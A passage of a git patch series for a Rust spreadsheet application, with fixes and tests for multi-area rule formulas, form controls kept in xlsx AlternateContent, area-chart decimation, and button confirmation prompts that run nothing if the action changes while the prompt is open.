vec![RangeRef::new(dest, dest)]; diff --git a/crates/engine/src/tests.rs b/crates/engine/src/tests.rs index 5afcbf9fa..f3d08f863 100644 --- a/crates/engine/src/tests.rs +++ b/crates/engine/src/tests.rs @@ -2743,6 +2743,30 @@ fn validation_formulas_are_relative_and_see_the_new_value() { assert!(!ok(&mut s, "C1", "50")); } +#[test] +fn multi_area_rule_formulas_are_relative_to_the_top_left_cell_of_all_areas() { + // Issue #3152: Excel writes the formula for the top-left cell of all the areas (H26), whatever + // order they are listed in, not for the first area listed (H62). + let mut s = s(); + s.execute("range.setValues", json!({"range": "F26:F27", "values": [[4], [5]]})).unwrap(); + s.execute("data.validation", json!({"range": "H62:H68,H26:H27,H93:H95", "type": "custom", "formula1": "=MOD($H26,$F26)=0"})).unwrap(); + let ok = |s: &mut Session, cell: &str, input: &str| s.execute("data.validate", json!({"cell": cell, "input": input})).unwrap()["ok"] == true; + assert!(ok(&mut s, "H26", "4")); + assert!(ok(&mut s, "H26", "8")); + assert!(!ok(&mut s, "H26", "3")); + assert!(ok(&mut s, "H27", "10")); + assert!(!ok(&mut s, "H27", "4")); + + // Conditional formats anchor on the same cell: `=D2>0` on D5:D6,D2:D3 checks D2 at D2. + s.execute("range.setValues", json!({"range": "D2:D6", "values": [[1], [0], [0], [1], [0]]})).unwrap(); + s.execute("home.conditionalFormat", json!({"range": "D5:D6,D2:D3", "rule": {"type": "expression", "formula": "=D2>0", "preset": "greenFill"}})) + .unwrap(); + let wb = s.doc().unwrap().wb.clone(); + let mut cache = crate::cf::CfCache::new(); + let mut styled = |c: &str| cache.look(&wb, 0, CellRef::parse(c).unwrap()).and_then(|l| l.style).is_some(); + assert_eq!([styled("D2"), styled("D3"), styled("D5"), styled("D6")], [true, false, true, false]); +} + #[test] fn samples_build() { for (name, _) in crate::sample::SAMPLES { diff --git a/crates/xlsx/src/sheet_write/rules.rs b/crates/xlsx/src/sheet_write/rules.rs index 821ec4cef..584c28c01 100644 --- a/crates/xlsx/src/sheet_write/rules.rs +++ b/crates/xlsx/src/sheet_write/rules.rs @@ -53,7 +53,7 @@ pub(super) fn x14_cfvo(v: &CfValueKind) -> String { } pub(super) fn cf_rule_xml(cf: &CondFormat, priority: u32, out: &mut Out) -> String { - let tl = cf.ranges.first().map(|r| r.start.a1()).unwrap_or_else(|| "A1".into()); + let tl = RangeRef::top_left(&cf.ranges).map(|c| c.a1()).unwrap_or_else(|| "A1".into()); let stop = if cf.stop_if_true { " stopIfTrue=\"1\"" } else { "" }; let mut dxf = |st: &Style| dxf_id(&mut out.dxfs, st); let f = |x: &str| format!("{}", esc(&text_to_file(x))); diff --git a/crates/xlsx/src/tests/roundtrip.rs b/crates/xlsx/src/tests/roundtrip.rs index 1cbd845c9..e194a307d 100644 --- a/crates/xlsx/src/tests/roundtrip.rs +++ b/crates/xlsx/src/tests/roundtrip.rs @@ -1678,3 +1678,21 @@ fn workbook_view_writer_clamps_out_of_range_model_values() { assert_eq!(back.view.tab_ratio, 1000); } } + +#[test] +fn generated_rule_formulas_use_the_top_left_cell_of_every_area() { + // Issue #3152: the areas aren't in top-to-bottom order; the formula is written for C2, not C5. + let mut wb = Workbook::new(); + let red = Box::new(Style::default()); + wb.sheet_mut(0).unwrap().cond_formats.push(CondFormat { + ranges: vec![rr("C5:C6"), rr("C2:C3")], + rule: CfRule::ContainsText { text: "x".into(), style: red }, + priority: 1, + stop_if_true: false, + }); + let bytes = write_xlsx(&wb).unwrap(); + let mut z = zip::ZipArchive::new(std::io::Cursor::new(bytes)).unwrap(); + let mut xml = String::new(); + z.by_name("xl/worksheets/sheet1.xml").unwrap().read_to_string(&mut xml).unwrap(); + assert!(xml.contains("NOT(ISERROR(SEARCH(\"x\",C2)))"), "{xml}"); +} From 7202d1cf7c90df03a920ba96b029a4c26ef9ea94 Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Mon, 2 Nov 2026 12:33:10 -0500 Subject: [PATCH 059/167] XLSX: a modelled control joins the Choice branch's element of a kept AlternateContent The pass-through writer put GridCraft's control entries before the last close tag of the kept fragment, so a kept mc:AlternateContent with separate elements in its Choice and Fallback got them in the Fallback, which the reader (and an application that knows x14) doesn't read: on reopen the control came back from its VML shape alone, without its name and its properties part. The entries now go into the element the reader reads: the Choice's when the Choice holds one, else the first one (a plain fragment, or a Fallback alone); a Fallback's element is left as the file had it. Tags are matched by local name, with any namespace prefix. Test: a_modelled_control_joins_the_choice_controls_element_of_a_kept_alternate_content (the saved Choice element holds the kept list box and the modelled slider, the Fallback only the list box; the file reads back with the slider's name, link and value from its worksheet entry and properties part, and the list box kept). --- crates/xlsx/src/passthrough/rebase.rs | 40 +++++++++++++++---- crates/xlsx/src/tests/controls_tests.rs | 53 +++++++++++++++++++++++++ 2 files changed, 86 insertions(+), 7 deletions(-) diff --git a/crates/xlsx/src/passthrough/rebase.rs b/crates/xlsx/src/passthrough/rebase.rs index 87fe715c3..e9232658d 100644 --- a/crates/xlsx/src/passthrough/rebase.rs +++ b/crates/xlsx/src/passthrough/rebase.rs @@ -69,7 +69,7 @@ impl<'a> SheetKept<'a> { if let Some(mut x) = remap(&e.xml, &self.ids) { if *slot == "controls" && !placed - && let Some(i) = last_close_tag(&x, "controls") + && let Some(i) = controls_insert_at(&x) { x.insert_str(i, controls); placed = true; @@ -87,13 +87,39 @@ impl<'a> SheetKept<'a> { } } -/// The byte offset of the last close tag of `local` in `x`, whatever namespace prefix the file -/// gives it (``, ``). -fn last_close_tag(x: &str, local: &str) -> Option { - x.rmatch_indices("` fragment: just before the close +/// tag of the `` element the reader reads (`controls::controls_of`), whatever its +/// namespace prefix. In an `mc:AlternateContent` with separate `` elements in its +/// Choice and Fallback branches that is the Choice's, the one an application that knows the +/// x14 extensions reads; the Fallback's is left as the file had it. With no Choice, or a Choice +/// without a `` element, it is the first `` element (a plain fragment, or a +/// Fallback alone). +fn controls_insert_at(x: &str) -> Option { + let from = open_tag(x, "Choice").unwrap_or(0); + close_tag_from(x, from, "controls") +} + +/// The local name of the tag whose text starts at `name` (`x:controls` → `controls`). +fn local_name(name: &str) -> &str { + name.rsplit(':').next().unwrap_or(name) +} + +/// The byte offset of the first open tag of `local` in `x`, with any namespace prefix. +fn open_tag(x: &str, local: &str) -> Option { + x.match_indices('<').find_map(|(i, _)| { + let rest = x.get(i + 1..)?; + let end = rest.find(|c: char| c.is_whitespace() || c == '>' || c == '/')?; + (local_name(rest.get(..end)?) == local).then_some(i) + }) +} + +/// The byte offset of the first close tag of `local` at or after `from` in `x`, with any +/// namespace prefix (``, ``). +fn close_tag_from(x: &str, from: usize, local: &str) -> Option { + x.get(from..)?.match_indices("')?)?.trim_end(); - (name.rsplit(':').next().unwrap_or(name) == local).then_some(i) + (local_name(name) == local).then_some(from + i) }) } diff --git a/crates/xlsx/src/tests/controls_tests.rs b/crates/xlsx/src/tests/controls_tests.rs index 252942296..a3e2c214d 100644 --- a/crates/xlsx/src/tests/controls_tests.rs +++ b/crates/xlsx/src/tests/controls_tests.rs @@ -328,6 +328,59 @@ fn a_modelled_control_joins_a_kept_controls_element_with_a_namespace_prefix() { assert_eq!(back.sheet(0).unwrap().controls.len(), 1, "the slider reads back; the list box stays kept"); } +/// A kept `mc:AlternateContent` with separate `` elements in its Choice and Fallback: +/// a modelled control is written into the Choice's element, the one the reader (and an +/// application that knows x14) reads, so it comes back with its name and its properties part; +/// the Fallback's element is left as the file had it. +#[test] +fn a_modelled_control_joins_the_choice_controls_element_of_a_kept_alternate_content() { + use gridcraft_model::{Anchor, ControlKind, FormControl}; + let rels = r#""#; + let prop_b = r#""#; + let vml = r##"2, 0, 6, 0, 5, 0, 9, 0$D$1:$D$32"##; + let list = r#"20605090"#; + let controls = format!( + r#"{list}"# + ); + let bytes = minimal( + &format!(r#"{controls}"#), + &[("xl/worksheets/_rels/sheet1.xml.rels", rels), ("xl/ctrlProps/b.xml", prop_b), ("xl/drawings/vmlDrawing1.vml", vml)], + "", + "", + ); + let (mut wb, _) = read_xlsx(&bytes).unwrap(); + assert!(wb.sheet(0).unwrap().controls.is_empty(), "the list box stays with pass-through"); + let anchor = Anchor { cell: gridcraft_core::CellRef::new(2, 1), width: 120.0, height: 20.0, ..Default::default() }; + wb.sheet_mut(0).unwrap().controls.push(FormControl { + id: 900, + kind: ControlKind::Slider, + anchor, + name: "Speed".into(), + link: Some("$B$1".into()), + value: 40, + ..Default::default() + }); + let out = write_xlsx(&wb).unwrap(); + let mut pkg = Package::open(&out).unwrap(); + let sheet = text(&mut pkg, "xl/worksheets/sheet1.xml"); + // The Choice's comes first in the sheet, the Fallback's last. + let (first, last) = (sheet.find("
Go
1, 0, 6, 0, 3, 0, 7, 0[0]!Tidy From eea1fc276f8cb4afb4d2566e015219c7757c5d72 Mon Sep 17 00:00:00 2001 From: Neil Cawse Date: Mon, 2 Nov 2026 00:58:50 +0000 Subject: [PATCH 060/167] Charts: decimate area top and baseline at paired horizontal indices --- crates/chart/src/render/cartesian.rs | 7 +- crates/chart/src/render/lines.rs | 133 +++++++++++++++++++++++++++ 2 files changed, 135 insertions(+), 5 deletions(-) diff --git a/crates/chart/src/render/cartesian.rs b/crates/chart/src/render/cartesian.rs index ce0bbebb0..05105dbf4 100644 --- a/crates/chart/src/render/cartesian.rs +++ b/crates/chart/src/render/cartesian.rs @@ -1,6 +1,6 @@ use super::frame::{Bx, CatAxis, ValAxis, frame, on, value_range}; use super::legend::{cat_label, plot_kind}; -use super::lines::{decimate, draw_markers, draw_runs}; +use super::lines::{decimate_area, draw_markers, draw_runs}; use super::trend::{draw_trend_labels, draw_trendlines, max_backward, max_forward, max_forward_slots, supports_trendline}; use super::{ Chart, ChartData, ChartKind, Ctx, Fmt, HAlign, LABEL_SIZE, MAX_CATS, MAX_LABELS, MAX_LINE_PTS, MAX_MARKERS, Prim, Scale, SeriesData, TEXT, @@ -268,10 +268,7 @@ pub(super) fn cartesian(ctx: &mut Ctx, chart: &Chart, data: &ChartData, area: Bx base = vec![[b[0] - cw * 0.3, b[1]], [b[0] + cw * 0.3, b[1]]]; } } - let top = decimate(top, MAX_LINE_PTS * 2); - let base = decimate(base, MAX_LINE_PTS * 2); - let mut poly = top; - poly.extend(base.into_iter().rev()); + let poly = decimate_area(top, base, MAX_LINE_PTS * 2); if poly.len() >= 3 { ctx.out.push(Prim::Polygon { pts: poly, fill: s.color, stroke: None }); } diff --git a/crates/chart/src/render/lines.rs b/crates/chart/src/render/lines.rs index ae0229cfb..770aabe02 100644 --- a/crates/chart/src/render/lines.rs +++ b/crates/chart/src/render/lines.rs @@ -54,6 +54,86 @@ pub(super) fn decimate(pts: Vec<[f32; 2]>, max: usize) -> Vec<[f32; 2]> { out } +/// Decimates the top and baseline of an area chart together at the same horizontal indices so +/// `area_mesh`'s paired vertical-strip topology (`pts[i]` ↔ `pts[2n - 1 - i]`) is preserved. +pub(super) fn decimate_area(top: Vec<[f32; 2]>, base: Vec<[f32; 2]>, max: usize) -> Vec<[f32; 2]> { + let n = top.len().min(base.len()); + if n == 0 { + return Vec::new(); + } + if n <= max { + let mut poly = top; + poly.truncate(n); + poly.extend(base.into_iter().take(n).rev()); + return poly; + } + let mut cols: Vec<[usize; 6]> = Vec::new(); + let mut keep = Vec::with_capacity(max * 2); + let mut i = 0; + while i < n { + let col = top[i][0].floor(); + let (start, mut t_mn, mut t_mx, mut b_mn, mut b_mx) = (i, i, i, i, i); + let mut k = i + 1; + while k < n && top[k][0].floor() == col { + if top[k][1] < top[t_mn][1] { + t_mn = k; + } + if top[k][1] > top[t_mx][1] { + t_mx = k; + } + if base[k][1] < base[b_mn][1] { + b_mn = k; + } + if base[k][1] > base[b_mx][1] { + b_mx = k; + } + k += 1; + } + let entry = [start, t_mn, t_mx, b_mn, b_mx, k - 1]; + cols.push(entry); + let mut idx = entry; + idx.sort_unstable(); + let mut last = usize::MAX; + for ix in idx { + if ix != last { + keep.push(ix); + last = ix; + } + } + i = k; + } + if keep.len() > max * 4 { + let max_groups = (max * 4 / 6).max(1); + let group_size = cols.len().div_ceil(max_groups); + keep.clear(); + for ch in cols.chunks(group_size) { + let start = ch[0][0]; + let end = ch.last().map_or(start, |c| c[5]); + let t_mn = ch.iter().map(|c| c[1]).min_by(|&a, &b| top[a][1].total_cmp(&top[b][1])).unwrap_or(start); + let t_mx = ch.iter().map(|c| c[2]).max_by(|&a, &b| top[a][1].total_cmp(&top[b][1])).unwrap_or(start); + let b_mn = ch.iter().map(|c| c[3]).min_by(|&a, &b| base[a][1].total_cmp(&base[b][1])).unwrap_or(start); + let b_mx = ch.iter().map(|c| c[4]).max_by(|&a, &b| base[a][1].total_cmp(&base[b][1])).unwrap_or(start); + let mut idx = [start, t_mn, t_mx, b_mn, b_mx, end]; + idx.sort_unstable(); + let mut last = usize::MAX; + for ix in idx { + if ix != last { + keep.push(ix); + last = ix; + } + } + } + } + let mut poly = Vec::with_capacity(keep.len() * 2); + for &ix in &keep { + poly.push(top[ix]); + } + for &ix in keep.iter().rev() { + poly.push(base[ix]); + } + poly +} + /// Draws a polyline split at gaps (`None`), decimated when long. With `smooth` (the plot box), /// each run is interpolated with a Catmull-Rom spline so the line curves through the data points. pub(super) fn draw_runs(ctx: &mut Ctx, pts: &[Option<[f32; 2]>], color: Rgba, width: f32, smooth: Option) { @@ -155,4 +235,57 @@ mod smooth_tests { assert!(out.len() > 5); assert!(out.iter().all(|p| (0.0..=300.0).contains(&p[0]) && (10.0..=110.0).contains(&p[1]))); } + + #[test] + fn decimate_area_preserves_paired_vertical_strips() { + let top: Vec<[f32; 2]> = (0..1000).map(|i| [i as f32 * 0.25, ((i * 37) % 100) as f32]).collect(); + let base: Vec<[f32; 2]> = (0..1000).map(|i| [i as f32 * 0.25, 100.0]).collect(); + let poly = decimate_area(top, base, 64); + assert_eq!(poly.len() % 2, 0); + let half = poly.len() / 2; + for i in 0..half { + assert_eq!(poly[i][0], poly[poly.len() - 1 - i][0]); + assert_eq!(poly[poly.len() - 1 - i][1], 100.0); + } + } + + #[test] + fn decimate_area_preserves_extrema_across_3000_columns() { + // 3,000 occupied pixel columns with 6 points per column (18,000 points total), + // where each column has distinct top and baseline extrema so the initial per-column + // index list exceeds `MAX_LINE_PTS * 2 * 4` (6,400). + let max = MAX_LINE_PTS * 2; + let mut top = Vec::with_capacity(18_000); + let mut base = Vec::with_capacity(18_000); + for col in 0..3_000 { + let y_top = [50.0, 20.0, 80.0, 50.0, 50.0, 50.0]; + let y_base = [150.0, 150.0, 150.0, 120.0, 180.0, 150.0]; + for s in 0..6 { + let x = col as f32 + s as f32 * 0.1; + top.push([x, y_top[s]]); + base.push([x, y_base[s]]); + } + } + // Plant sharp spikes on both top and baseline in interior columns. + top[777 * 6 + 1][1] = 1.0; + top[1999 * 6 + 2][1] = 99.0; + base[1234 * 6 + 3][1] = 101.0; + base[2501 * 6 + 4][1] = 199.0; + + let poly = decimate_area(top, base, max); + assert_eq!(poly.len() % 2, 0); + let half = poly.len() / 2; + assert!(half <= max * 4, "retained {half} paired vertices, limit is {}", max * 4); + for i in 0..half { + assert_eq!(poly[i][0], poly[poly.len() - 1 - i][0]); + } + let top_kept = &poly[..half]; + let base_kept = &poly[half..]; + assert_eq!(top_kept.first().map(|p| p[0]), Some(0.0)); + assert_eq!(top_kept.last().map(|p| p[0]), Some(2999.5)); + assert!(top_kept.iter().any(|p| p[1] == 1.0), "top min spike preserved"); + assert!(top_kept.iter().any(|p| p[1] == 99.0), "top max spike preserved"); + assert!(base_kept.iter().any(|p| p[1] == 101.0), "base min spike preserved"); + assert!(base_kept.iter().any(|p| p[1] == 199.0), "base max spike preserved"); + } } From 57ad523b8389ef4bcfd4a8e1509b299575590b1a Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Mon, 2 Nov 2026 13:39:50 -0500 Subject: [PATCH 061/167] Form controls: a button's question is answered only while the workbook, sheet, button, action, macro and selection it asked about are unchanged --- crates/ui-egui/src/control_ui.rs | 60 ++++++++- crates/ui-egui/tests/it/form_controls.rs | 156 ++++++++++++++++++++++- docs/macros.md | 4 + docs/ui-parity.md | 2 +- 4 files changed, 216 insertions(+), 6 deletions(-) diff --git a/crates/ui-egui/src/control_ui.rs b/crates/ui-egui/src/control_ui.rs index 4100ba2a3..70603ef1d 100644 --- a/crates/ui-egui/src/control_ui.rs +++ b/crates/ui-egui/src/control_ui.rs @@ -124,10 +124,43 @@ fn confirm_text(e: &str) -> Option { Some(rest.split_once(" (run again with").map_or(rest, |(q, _)| q).to_string()) } +/// What a press of the button `params` names would run, as text: the workbook, the sheet, the +/// button, its action, the content of the macro it runs, and the selection (a macro on the +/// selection, or a command without a range, works there). `None` when the active sheet has no +/// such button. A question is answered only while this is unchanged, so an answer never applies +/// to an action other than the one it asked about. +fn press_binding(app: &SheetApp, params: &Json) -> Option { + let id = params.get("id").and_then(Json::as_u64).and_then(|i| u32::try_from(i).ok())?; + let d = app.session.active()?; + let sheet = d.wb.active_sheet(); + let sh = d.wb.sheet(sheet)?; + let c = sh.controls.iter().find(|c| c.id == id && c.kind == ControlKind::Button)?; + let mac = match &c.action { + Some(ControlAction::Macro { name, .. }) => { + gridcraft_engine::macros::find(&d.wb, name).and_then(|i| d.wb.macros.get(i)).map(gridcraft_engine::macros::fingerprint) + } + _ => None, + }; + Some( + json!({ + "doc": d.uid, + "sheet": sheet, + "sheetName": sh.name, + "control": id, + "action": c.action, + "macro": mac, + "selection": d.selection, + }) + .to_string(), + ) +} + /// Presses a button (`control.press` with `params`). A question (approve the action, or make -/// room for a macro's output) opens a prompt whose buttons press it again with the answer; any -/// other error shows in a message box. +/// room for a macro's output) opens a prompt whose buttons press it again with the answer, bound +/// to what the question was about (see [`press_binding`]); any other error shows in a message +/// box. pub fn press(app: &mut SheetApp, params: Json) { + let bound = press_binding(app, ¶ms); let Err(e) = app.run("control.press", params.clone()) else { return }; let (text, choices) = if let Some(q) = approve_text(&e) { (q, json!([["Run", {"approve": true}]])) @@ -141,12 +174,17 @@ pub fn press(app: &mut SheetApp, params: Json) { app.message = Some(("Button".into(), crate::clean_error(&e))); return; }; - app.open_dialog("controlQuestion", json!({"text": text, "params": params, "choices": choices})); + app.open_dialog("controlQuestion", json!({"text": text, "params": params, "choices": choices, "bound": bound})); } pub fn open_question(params: &Json) -> Option { let text = params.get("text").and_then(Json::as_str)?; - let v = json!({"text": text, "params": params.get("params").cloned().unwrap_or_else(|| json!({})), "choices": params.get("choices").cloned().unwrap_or_else(|| json!([]))}); + let v = json!({ + "text": text, + "params": params.get("params").cloned().unwrap_or_else(|| json!({})), + "choices": params.get("choices").cloned().unwrap_or_else(|| json!([])), + "bound": params.get("bound").and_then(Json::as_str), + }); Some(Dialog::custom("controlQuestion", "Button", v)) } @@ -174,6 +212,20 @@ pub fn question_dialog(app: &mut SheetApp, ui: &mut Ui, d: &mut Dialog, open: &m if let Some(extra) = answer { *open = false; let mut params = d.values.get("params").cloned().unwrap_or_else(|| json!({})); + // The answer is for the action the question named: if the workbook, the sheet, the + // button, its action, its macro or the selection changed meanwhile (an agent reassigned + // it), nothing runs, and the next press asks about what it runs now. + let asked = d.values.get("bound").and_then(Json::as_str); + let now = press_binding(app, ¶ms); + if asked.is_none() || asked != now.as_deref() { + let why = if now.is_none() { + "The button is gone, so nothing ran." + } else { + "The button changed while the question was open, so nothing ran. Press it again to see what it runs now." + }; + app.message = Some(("Button".into(), why.into())); + return; + } if let (Some(p), Some(x)) = (params.as_object_mut(), extra.as_object()) { for (k, v) in x { p.insert(k.clone(), v.clone()); diff --git a/crates/ui-egui/tests/it/form_controls.rs b/crates/ui-egui/tests/it/form_controls.rs index 44d1f9f32..004563fe9 100644 --- a/crates/ui-egui/tests/it/form_controls.rs +++ b/crates/ui-egui/tests/it/form_controls.rs @@ -1,7 +1,8 @@ //! Form controls through real pointer and keyboard input: dragging a slider (one undo step), //! paging on the track, clicking and holding spin arrows, keyboard steps, a button running its //! macro, Cmd+click or right-click selecting a control without running it, right-to-left -//! sheets, and the Insert › Controls buttons, context menu and dialogs. +//! sheets, a button's questions (an answer runs only the action it asked about), and the Insert › +//! Controls buttons, context menu and dialogs. use egui::{Event, Key, Modifiers, PointerButton, Pos2, Rect, vec2}; use gridcraft_engine::Session; @@ -409,6 +410,159 @@ fn a_button_from_a_file_asks_before_it_runs() { assert!(h.state().dialog.is_none()); } +/// A file this test may write, removed first: `/gridcraft-press--`. +fn scratch(name: &str) -> std::path::PathBuf { + let p = std::env::temp_dir().join(format!("gridcraft-press-{}-{name}", std::process::id())); + let _ = std::fs::remove_file(&p); + p +} + +/// Points the fixture's button at `file.exportCsv` to `path` and presses it: the question about +/// the file opens. +fn ask_export(h: &mut Harness, button: u32, path: &std::path::Path) { + h.state_mut().run("control.assign", json!({"id": button, "command": "file.exportCsv", "params": {"path": path}})).unwrap(); + h.state_mut().press_button(button); + h.run_steps(4); + let d = h.state().dialog.clone().expect("a prompt"); + assert_eq!(d.name(), "controlQuestion"); + let text = d.values["text"].as_str().unwrap_or("").to_string(); + assert!(text.contains(&path.display().to_string()), "{text}"); +} + +/// Clicks `label` in the open prompt. +fn answer(h: &mut Harness, label: &str) { + use egui_kittest::kittest::Queryable as _; + h.get_by_label(label).click(); + h.run_steps(2); +} + +/// An agent reassigns the button while its question is open: the answer was about the old file, +/// so neither file is written, and the next press asks about the new one. +#[test] +fn an_answer_does_not_run_an_action_reassigned_while_the_question_was_open() { + let (mut h, ids) = fixture(); + let (a, b) = (scratch("a.csv"), scratch("b.csv")); + ask_export(&mut h, ids.button, &a); + h.state_mut().session.execute("control.assign", json!({"id": ids.button, "command": "file.exportCsv", "params": {"path": b}})).unwrap(); + answer(&mut h, " Run "); + assert!(!a.exists() && !b.exists(), "the stale answer ran nothing"); + assert!(h.state().dialog.as_ref().is_none_or(|d| d.name() != "controlQuestion")); + let msg = h.state().message.clone().map(|m| m.1).unwrap_or_default(); + assert!(msg.contains("changed while the question was open"), "{msg}"); + // The approval was not cached for the new file either: pressing again asks about it. + h.state_mut().message = None; + h.state_mut().press_button(ids.button); + h.run_steps(4); + let text = h.state().dialog.clone().map(|d| d.values["text"].as_str().unwrap_or("").to_string()).unwrap_or_default(); + assert!(text.contains(&b.display().to_string()), "{text}"); + answer(&mut h, " Run "); + assert!(b.exists() && !a.exists(), "the new question's answer runs the new action"); + let _ = std::fs::remove_file(&b); + // A change to a different command, and to a macro, is refused the same way. + let c = scratch("c.csv"); + ask_export(&mut h, ids.button, &c); + h.state_mut().session.execute("control.assign", json!({"id": ids.button, "macro": "Mark"})).unwrap(); + answer(&mut h, " Run "); + assert!(!c.exists()); + assert_eq!(cell(&h, "H1"), Value::Empty, "the macro put in its place did not run"); +} + +/// Reassigning the same action (identical parameters) changes nothing the question asked about, +/// so the answer still runs it. +#[test] +fn an_answer_runs_when_the_action_is_reassigned_unchanged() { + let (mut h, ids) = fixture(); + let a = scratch("same.csv"); + ask_export(&mut h, ids.button, &a); + h.state_mut().session.execute("control.assign", json!({"id": ids.button, "command": "file.exportCsv", "params": {"path": a}})).unwrap(); + answer(&mut h, " Run "); + assert!(a.exists(), "{:?}", h.state().message); + assert!(h.state().message.is_none(), "{:?}", h.state().message); + let _ = std::fs::remove_file(&a); +} + +/// The button deleted, its workbook closed, or another workbook (with an identical button) +/// active while the question is open: nothing runs. +#[test] +fn an_answer_runs_nothing_when_the_button_or_its_workbook_is_gone() { + let (mut h, ids) = fixture(); + let a = scratch("gone.csv"); + ask_export(&mut h, ids.button, &a); + h.state_mut().session.execute("object.delete", json!({"kind": "control", "id": ids.button})).unwrap(); + answer(&mut h, " Run "); + assert!(!a.exists()); + let msg = h.state().message.clone().map(|m| m.1).unwrap_or_default(); + assert!(msg.contains("gone"), "{msg}"); + + // Another workbook with the same button (same id, same action) becomes active. + let (mut h, ids) = fixture(); + ask_export(&mut h, ids.button, &a); + let s = &mut h.state_mut().session; + s.new_workbook(); + for at in ["A1", "A5"] { + s.execute("insert.button", json!({"at": at})).unwrap(); + } + let id = s.execute("insert.button", json!({"at": "E12", "command": "file.exportCsv", "params": {"path": a}})).unwrap()["control"].as_u64(); + assert_eq!(id, Some(u64::from(ids.button)), "the other workbook's button has the same id"); + answer(&mut h, " Run "); + assert!(!a.exists(), "the answer belongs to the first workbook's button"); + + // The workbook closed. + let (mut h, ids) = fixture(); + ask_export(&mut h, ids.button, &a); + h.state_mut().session.execute("file.close", json!({"force": true, "document": true})).unwrap(); + assert!(h.state().session.doc().is_err(), "no workbook is open"); + answer(&mut h, " Run "); + assert!(!a.exists()); +} + +/// The overwrite question is about the cells the macro would write: when the macro (or the +/// selection it runs on) changes while it is open, Overwrite writes over nothing. +#[test] +fn an_overwrite_answer_applies_only_to_the_output_it_asked_about() { + let (mut h, ids) = fixture(); + let s = &mut h.state_mut().session; + s.execute("macro.save", json!({"name": "Note", "steps": [{"command": "cell.set", "params": {"cell": "H2", "input": "noted"}}]})).unwrap(); + s.execute("cell.set", json!({"cell": "H2", "input": "keep"})).unwrap(); + s.execute("cell.set", json!({"cell": "H3", "input": "keep too"})).unwrap(); + s.execute("control.assign", json!({"id": ids.button, "macro": "Note"})).unwrap(); + let ask = |h: &mut Harness| { + h.state_mut().press_button(ids.button); + h.run_steps(4); + let text = h.state().dialog.clone().map(|d| d.values["text"].as_str().unwrap_or("").to_string()).unwrap_or_default(); + assert!(text.contains("Overwrite them"), "{text}"); + }; + ask(&mut h); + // The macro now writes H3 instead. + h.state_mut() + .session + .execute( + "macro.save", + json!({"name": "Note", "replace": true, "steps": [{"command": "cell.set", "params": {"cell": "H3", "input": "noted"}}]}), + ) + .unwrap(); + answer(&mut h, " Overwrite "); + assert_eq!((cell(&h, "H2"), cell(&h, "H3")), (Value::text("keep"), Value::text("keep too"))); + // The output cell given to the button changes. + h.state_mut().message = None; + ask(&mut h); + h.state_mut().session.execute("control.assign", json!({"id": ids.button, "macro": "Note", "output": "H2"})).unwrap(); + answer(&mut h, " Overwrite "); + assert_eq!((cell(&h, "H2"), cell(&h, "H3")), (Value::text("keep"), Value::text("keep too"))); + // The selection the macro runs on changes. + h.state_mut().message = None; + h.state_mut().session.execute("control.assign", json!({"id": ids.button, "macro": "Note"})).unwrap(); + ask(&mut h); + h.state_mut().session.execute("selection.set", json!({"cell": "A21"})).unwrap(); + answer(&mut h, " Overwrite "); + assert_eq!(cell(&h, "H3"), Value::text("keep too")); + // Nothing changed: Overwrite overwrites. + h.state_mut().message = None; + ask(&mut h); + answer(&mut h, " Overwrite "); + assert_eq!(cell(&h, "H3"), Value::text("noted")); +} + #[test] fn on_a_right_to_left_sheet_a_control_works_where_it_is_drawn() { let (mut h, ids) = fixture(); diff --git a/docs/macros.md b/docs/macros.md index b4937fcbe..586800045 100644 --- a/docs/macros.md +++ b/docs/macros.md @@ -267,6 +267,10 @@ in a workbook opened from a file asks before it runs anything. Like a step, a bu never opens a web page or a dialog: `link.open` is refused when it is assigned or comes in from a file, and a command that would open a dialog or a page once it runs (a command given no parameters opens its dialog) is refused then, with the request dropped and nothing done. +In the window, a press that asks (approve the action, or overwrite data in the macro's way) opens +a prompt whose answer applies only to what it asked about: if the workbook, the sheet, the +button, its action, its macro or the selection changes while the prompt is open (an agent +reassigns the button), the answer runs nothing and the next press asks again. In xlsx a button carries its macro as Excel writes it (`macro="[0]!Name"`, a macro run on the selection). A command, a fixed input range or an output cell has no place there and is kept in a diff --git a/docs/ui-parity.md b/docs/ui-parity.md index c4613d4cf..aa4154889 100644 --- a/docs/ui-parity.md +++ b/docs/ui-parity.md @@ -70,7 +70,7 @@ this logic, with one undo step. | Copy as HTML table for other apps | done (#36, 10-10) | | Context menu on cells | 16 items (Cut, Copy, Paste, Paste Special, Insert, Delete, Clear Contents, Filter by value, Sort, New Comment, New Note, Format Cells, Pick From Drop-down List, Define Name, Link). Insert Copied Cells (Insert Cut Cells for whole rows/columns) while the clipboard holds a copy (#21). Show Details on a PivotTable's value, subtotal or grand total cell (`pivot.showDetails`). Missing: Insert Cut Cells for a cell block, paste-option icons, Quick Analysis, Get Data from Table, Show Changes, Smart Lookup | | Move and resize charts, pictures and shapes | done (#190, #213): charts, pictures, shapes, equations and slicers select with a frame of eight handles; each handle resizes only its own edges (they never cross), the body moves the object, and the pointer shows a resize or move cursor; Delete or Backspace deletes the selected object and Escape drops the selection; double-click edits a text box, opens Format Chart for a chart. Rotation handle, Shift for proportional resizing, Alt to snap to cells and multi-object selection missing | -| Form controls: buttons, scroll bars (sliders), spin buttons | done (10-31): Insert › Controls (Button, Slider, Spin Button; Excel has them under Developer › Insert) places one by a drag, or at its default size by a click; a click works a control: drag the thumb, page on the track, click or hold an arrow (a drag or a hold is one undo step), press a button, which runs a macro or a command and asks first in a workbook opened from a file; the control last worked takes the arrows, Page Up and Page Down, Home, End, and Space or Enter (a button gives the keyboard back as soon as the grid takes a key or a right-click; Space on a slider or spin button does what it does with no control focused: it toggles a checkbox cell or starts a cell edit like any other character); Ctrl or Cmd+click or a right-click selects it to move or resize; its menu has Edit Text, Assign Action, Format Control and Delete. Check boxes, option buttons, list boxes and drop-downs (form controls) are kept from files but not shown | +| Form controls: buttons, scroll bars (sliders), spin buttons | done (10-31): Insert › Controls (Button, Slider, Spin Button; Excel has them under Developer › Insert) places one by a drag, or at its default size by a click; a click works a control: drag the thumb, page on the track, click or hold an arrow (a drag or a hold is one undo step), press a button, which runs a macro or a command and asks first in a workbook opened from a file (an answer runs only the action it asked about: if an agent changes the button, its macro or the selection while the prompt is open, nothing runs); the control last worked takes the arrows, Page Up and Page Down, Home, End, and Space or Enter (a button gives the keyboard back as soon as the grid takes a key or a 